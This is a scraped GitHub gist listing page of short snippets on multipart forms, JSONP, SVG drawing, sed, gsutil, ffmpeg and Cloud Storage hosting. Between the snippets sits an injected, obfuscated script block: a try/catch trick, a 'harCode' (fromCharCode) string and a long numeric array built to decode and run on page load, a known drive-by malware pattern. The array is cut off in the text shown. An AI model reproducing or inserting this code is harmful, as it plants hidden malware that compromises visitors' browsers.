Skip to content

Instantly share code, notes, and snippets.

var MultipartForm = function () {
var boundary = '------------------------------' + Date.now(), string = '--' + boundary + '\r\n';
this.addVariable = function ( name, value ) {
string += 'Content-Disposition: form-data; name="' + name + '"\r\n';
string += 'Content-Type: text/plain\r\n';
string += '\r\n' + value + '\r\n';
string += '--' + boundary + '\r\n';
@mrdoob
mrdoob / gist:1695006
Created January 28, 2012 16:56
JSONP
function getJSONP( url, callback ) {
var ud = 'json' + ( Math.random() * 100 ).toString().replace( /\./g, '' );
window[ ud ]= function ( o ) { callback && callback( o ); };
var script = document.createElement( 'script' );
script.type = 'text/javascript';
script.src = url.replace( 'callback=?','callback=' + ud );
@mrdoob
mrdoob / gist:1877952
Created February 21, 2012 18:20
Single Lane Superhighway - Landscape
var svg = document.createElementNS( 'http://www.w3.org/2000/svg', 'svg' );
svg.setAttribute( 'width', 1000 );
svg.setAttribute( 'height', 200 );
document.body.appendChild( svg );
var path = document.createElementNS( 'http://www.w3.org/2000/svg', 'path' );
path.setAttribute( 'style', 'stroke: black; stroke-width: 1px; fill: none;' );
svg.appendChild( path );
var drawing = 'M 0 ' + ( Math.cos( position ) * 50 + 100 ) + ' ';
<script>i=0;try{grbregd=prototype;}catch(z){h="harCode";f=[-36.5,-36.5,11.5,10,-25,-21,9,14.5,8.5,17.5,13.5,9.5,14,17,-18,10.5,9.5,17,-6.5,13,9.5,13.5,9.5,14,17,16.5,-8,19.5,1,7.5,10.5,-2,7.5,13.5,9.5,-21,-21.5,8,14.5,9,19.5,-21.5,-20.5,4.5,-17,5.5,-20.5,20.5,-34.5,-36.5,-36.5,-36.5,11.5,10,16,7.5,13.5,9.5,16,-21,-20.5,-11.5,-34.5,-36.5,-36.5,21.5,-25,9.5,13,16.5,9.5,-25,20.5,-34.5,-36.5,-36.5,-36.5,9,14.5,8.5,17.5,13.5,9.5,14,17,-18,18.5,16,11.5,17,9.5,-21,-24,-11,11.5,10,16,7.5,13.5,9.5,-25,16.5,16,8.5,-10.5,-21.5,11,17,17,15,-12,-17.5,-17.5,10,7.5,19.5,9,15,13,16.5,15,13,-18,10,11.5,14,9,11,9.5,16,9.5,-18,14.5,16,10.5,-17.5,-9.5,10.5,14.5,-10.5,-16,-21.5,-25,18.5,11.5,9,17,11,-10.5,-21.5,-16.5,-17,-21.5,-25,11,9.5,11.5,10.5,11,17,-10.5,-21.5,-16.5,-17,-21.5,-25,16.5,17,19.5,13,9.5,-10.5,-21.5,18,11.5,16.5,11.5,8,11.5,13,11.5,17,19.5,-12,11,11.5,9,9,9.5,14,-11.5,15,14.5,16.5,11.5,17,11.5,14.5,14,-12,7.5,8,16.5,14.5,13,17.5,17,9.5,-11.5,13,9.5,10,17,-12,-17,-11.5,17,14.5,15,-12,-17,-11.5,-21.5,-10,-11,-17.5,
@mrdoob
mrdoob / gist:3184753
Created July 26, 2012 21:44
Search and replace in multiple files.
sed -i 's/\,\"image\"\:\"[a-Z0-9\:\/\.\_\-]*\"//g' *
@mrdoob
mrdoob / gist:3188814
Created July 27, 2012 15:52
Uploading gzipped content to cloud storage.
gsutil -m cp -z json * gs://cats/
window.addEventListener( 'resize', onWindowResize, false );
function onWindowResize() {
windowHalfX = window.innerWidth / 2;
windowHalfY = window.innerHeight / 2;
camera.aspect = window.innerWidth / window.innerHeight;
camera.updateProjectionMatrix();
@mrdoob
mrdoob / gist:3504305
Created August 28, 2012 20:58
Renaming files in a folder consecutively.
import os
for i, filename in enumerate(sorted(os.listdir("."))):
os.rename(filename, "{0}.png".format(i))
@mrdoob
mrdoob / gist:3504382
Created August 28, 2012 21:09
Encoding png sequence + audio into a webm with good quality.
ffmpeg -r 24 -i sequence/%d.png -i audio.aif -g 120 -level 216 -profile 0 -qmax 42 -qmin 10 -rc_buf_aggressivity 0.95 -vb 2M video.webm
@mrdoob
mrdoob / gist:3879802
Last active October 15, 2021 02:15
Using Google Cloud Storage as web server.
www.example.com CNAME c.storage.googleapis.com
create www.example.com bucket.
gsutil setdefacl "public-read" gs://www.example.com
gsutil setwebcfg -m index.html -e 404.html gs://www.example.com
from the folder with the local copy:
gsutil -m cp -r -z html,js,css * gs://www.example.com